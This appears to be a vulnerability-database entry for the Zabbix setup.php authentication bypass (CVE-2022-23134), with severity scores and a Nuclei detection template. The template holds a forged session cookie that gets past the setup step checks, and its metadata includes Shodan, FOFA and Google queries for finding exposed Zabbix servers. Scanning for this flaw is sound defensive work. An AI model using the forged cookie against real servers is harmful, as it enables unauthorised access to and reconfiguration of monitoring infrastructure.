Zabbix Setup Configuration Authentication Bypass

2022-02-2516:00:40

ProjectDiscovery

github.com

zabbix

setup

authentication

bypass

cve2022

vulnerability

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:N/I:P/A:N

CVSS3

5.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

AI Score

5.1

Confidence

High

EPSS

0.609

Percentile

97.8%

JSON

After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend.

id: CVE-2022-23134

info:
  name: Zabbix Setup Configuration Authentication Bypass
  author: bananabr
  severity: medium
  description: After the initial setup process, some steps of setup.php file are reachable not only by super-administrators but also by unauthenticated users. A malicious actor can pass step checks and potentially change the configuration of Zabbix Frontend.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Zabbix setup configuration.
  remediation: |
    Apply the latest security patches or updates provided by Zabbix to fix the authentication bypass vulnerability.
  reference:
    - https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23134
    - https://support.zabbix.com/browse/ZBX-20384
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/6SZYHXINBKCY42ITFSNCYE7KCSF33VRA/
    - https://lists.debian.org/debian-lts-announce/2022/02/msg00008.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-23134
    cwe-id: CWE-287,CWE-284
    epss-score: 0.6298
    epss-percentile: 0.97835
    cpe: cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zabbix
    product: zabbix
    shodan-query:
      - http.favicon.hash:892542951
      - http.title:"zabbix-server"
      - cpe:"cpe:2.3:a:zabbix:zabbix"
    fofa-query:
      - icon_hash=892542951
      - app="zabbix-监控系统" && body="saml"
      - title="zabbix-server"
    google-query: intitle:"zabbix-server"
  tags: cve,cve2022,zabbix,auth-bypass,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/zabbix/setup.php"
      - "{{BaseURL}}/setup.php"

    stop-at-first-match: true

    headers:
      Cookie: "zbx_session=eyJzZXNzaW9uaWQiOiJJTlZBTElEIiwiY2hlY2tfZmllbGRzX3Jlc3VsdCI6dHJ1ZSwic3RlcCI6Niwic2VydmVyQ2hlY2tSZXN1bHQiOnRydWUsInNlcnZlckNoZWNrVGltZSI6MTY0NTEyMzcwNCwic2lnbiI6IklOVkFMSUQifQ%3D%3D"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Database"
          - "host"
          - "port"
          - "Zabbix"
        condition: and

      - type: word
        words:
          - "youtube_main"
          - "support.google.com"
        part: header
        condition: and
        negative: true

      - type: status
        status:
          - 200
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